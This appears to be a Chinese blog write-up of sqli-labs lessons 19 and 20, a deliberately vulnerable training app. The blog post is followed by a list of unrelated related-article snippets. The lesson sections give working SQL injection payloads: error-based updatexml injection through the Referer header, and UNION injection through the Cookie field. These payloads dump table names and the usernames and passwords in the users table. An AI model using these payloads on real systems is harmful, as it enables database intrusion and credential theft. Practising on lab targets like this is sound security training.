2019-10-24:渗透测试,sqli-labe,less18,19关
less19基于错误_POST_Referer_请求头注入
查看关键源码,跟18关不一样的只是,回显的是Referer不是User-Agent,判断INSERT语句结构:INSERT INTO table_name ('referer','ip_address') VALUES ('$referer','$IP')


注入过程
1,使用BP,拦截数据包,修改Referer提交的数据 ’or updatexml(1,concat('#',(database())),0),'')# 获取库名

2,获取表名,' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#

3,获取列名,' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#

4,获取数据,' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#

需要获取所有的数据,修改limit的值就行

less20:基于错误_POST_Cookie注入
1,判断注入点,登录之后界面为

回显有User-Agent、IP这样从当次Request直接获取的,
也有Cookie这样刷新页面后仍存在的,
还有登录用户的id、username、password。
最下方是删除Cookie的按钮,点击后刷新到初始界面。
使用插件Edit This Cookie查看存储的Cookie信息:

可以看到只存储了uname这一个字段的信息,且是明文存储。修改Cookie后刷新界面:

便可以得知整个后台流程:
登陆后将uname写入Cookie。
在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname。
在数据库中按username查询,若用户存在则将查询到用户id、username、password回显;若不存在…
可以判断出注入点就在Cookie处,但是这里注入有两种途径:
用Chrome插件EditThisCookie修改本地Cookie文件注入。
用Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。
注入过程
我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。
1,判断字符型 /数字型注入

2,判断字段数与回显字段,' order by 4#


实际上这个页面太清晰了,不用判断字段都能猜出来。
得出SQL语句:
SELECT * FROM table_name WHERE username='$cookie_uname' LIMIT 0,1
3,获取数据库1' union select 1,2,database()#

4,获取表,1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

5,获取列名 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

6,获取内容,1' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#

2019-10-24:渗透测试,sqli-labe,less18,19关的更多相关文章
- 2019.10.24 CSP%你赛第二场d1t3
题目描述 Description 精灵心目中亘古永恒的能量核心崩溃的那一刻,Bzeroth 大陆的每个精灵都明白,他们的家园已经到了最后的时刻.就在这危难关头,诸神天降神谕,传下最终兵器——潘少拉魔盒 ...
- 2019.6.24 校内测试 NOIP模拟 Day 2 分析+题解
看到Day 2的题真的想打死zay了,忒难了QwQ~ T1 江城唱晚 这明显是个求方案数的计数问题,一般的套路是DP和组合数学. 正如题目中所说,这个题是一个 math 题. ----zay ...
- 2019/10/24 CSP-S 模拟
T1 tom 题意: 考虑一定是属于\(a\)的在一坨,属于\(b\)的在一坨,找到这条连接\(a\)和\(b\)的边,然后分别直接按\(dfs\)序染色即可 注意属于\(a\)的连通块或属于\(b\ ...
- Alpha冲刺(1/10)——2019.4.24
所属课程 软件工程1916|W(福州大学) 作业要求 Alpha冲刺(1/10)--2019.4.24 团队名称 待就业六人组 1.团队信息 团队名称:待就业六人组 团队描述:同舟共济扬帆起,乘风破浪 ...
- 【10.21总结】一个渗透测试练习实例——发现未知的漏洞(Race condition)
Write-up地址:Exploiting an unknown vulnerability 作者:Abhishek Bundela 这篇文章跟我之前看到的文章不太一样,作者是按照一个练习的方式简单描 ...
- 【HTB系列】 靶机Swagshop的渗透测试详解
出品|MS08067实验室(www.ms08067.com) 本文作者:是大方子(Ms08067实验室核心成员) 总结与反思 使用vi提权 magento漏洞的利用 magescan 工具的使用 靶机 ...
- DC-1 靶机渗透测试
DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...
- xss之渗透测试
跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...
- 渗透测试工具Nmap从初级到高级使用教程
本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...
随机推荐
- Ribbon - Customizing the Ribbon Client
自定义Ribbon算法 自定义Ribbon 官网文档链接 Ribbon github源码地址 <!--ribbon配置--> <dependency> <group ...
- Linux下zkui的安装
前提:部署好java环境 1.拉取安装包 git clone https://github.com/DeemOpen/zkui.git 2.进入zkui目录 cd zkui/ 3.使用mvn命令进行编 ...
- numpy+pandas+ matplotlib模块(day18)
目录 numpy模块 二维数组 numpy数组的属性 T 数组的装置 dtype 数组元素的数据类型 size 数组元素的个数 ndim 数组的维数 shape数组的维度大小 astype 类型转换 ...
- ORM之多表操作
一.创建模型 from django.db import models # Create your models here. class Book(models.Model): nid = model ...
- 前端技术之:使用npx创建一个Nuxt.js项目
$ npx create-nuxt-app my-first-nuxtjs npx: 401 安装成功,用时 43.891 秒 > Generating Nuxt.js project in / ...
- tensorflow制作tfrecord格式数据
tf.Example msg tensorflow提供了一种统一的格式.tfrecord来存储图像数据.用的是自家的google protobuf.就是把图像数据序列化成自定义格式的二进制数据. To ...
- 使用“反向传播”迭代法求解y=√10
X=√10,求X,也就是求Y=10 =X2 , X是多少. *重要的思想是,如何转化为可迭代求解的算法问题. *解数学问题,第一时间画图,求导,“直线化”. Y = X2 假如已知Y = 10 ,要求 ...
- Java迭代Map方法
Map map=new HashMap(); map.put("1", "one"); map.put("2","two" ...
- CSPS模拟 61
T1 模拟 T2 ?? T3 哈希
- Oracle“ORA-00911: 无效字符”解决方式
在工作中碰到ORA-00911:无效字符的问题, 代码如下: <select id="querySendMsg" parameterType="map" ...